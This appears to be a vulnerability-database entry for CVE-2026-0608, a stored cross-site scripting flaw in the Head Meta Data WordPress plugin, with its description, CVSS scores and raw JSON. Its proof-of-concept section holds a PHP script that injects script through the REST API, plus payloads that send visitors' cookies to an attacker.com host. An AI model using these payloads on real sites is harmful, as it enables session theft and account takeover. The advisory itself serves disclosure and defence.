Security Vulnerability Report
中文
CVE-2026-0608 CVSS 6.4 MEDIUM

CVE-2026-0608

Published: 2026-01-20 15:20:07
Last Modified: 2026-04-15 00:35:42

Description

The Head Meta Data plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'head-meta-data' post meta field in all versions up to, and including, 20251118 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Head Meta Data plugin for WordPress <= 20251118

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-0608 PoC - WordPress Head Meta Data Stored XSS * Author: Security Researcher * Description: Stored XSS via head-meta-data post meta field */ // Method 1: Using WordPress REST API (requires contributor+ access) $target_url = 'http://target-site.com/wp-json/wp/v2/posts/POST_ID'; $auth_token = 'YOUR_CONTRIBUTOR_TOKEN'; $malicious_payload = '<script>alert(document.cookie)</script>'; $data = array( 'meta' => array( 'head-meta-data' => $malicious_payload ) ); $ch = curl_init($target_url); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Authorization: Bearer ' . $auth_token )); $response = curl_exec($ch); curl_close($ch); // Method 2: Using WordPress admin interface // 1. Login as contributor or higher // 2. Create/Edit a post // 3. Add custom field 'head-meta-data' with value: <script>alert(document.cookie)</script> // 4. Save/publish the post // 5. Any user visiting the post will execute the injected JavaScript // Example XSS payload for cookie theft: $cookie_stealer = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Example payload for session hijacking: $session_hijack = '<script>document.location="https://attacker.com/phishing?session="+btoa(document.cookie)</script>'; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0608", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:20:07.010", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Head Meta Data plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'head-meta-data' post meta field in all versions up to, and including, 20251118 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Head Meta Data para WordPress es vulnerable a cross-site scripting almacenado a través del campo meta de publicación 'head-meta-data' en todas las versiones hasta, e incluyendo, 20251118 debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=/head-meta-data/tags/20251118&new_path=/head-meta-data/tags/20260105", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9592bb6d-8e1d-4c89-addd-11c07272a628?source=cve", "source": "[email protected]"}]}}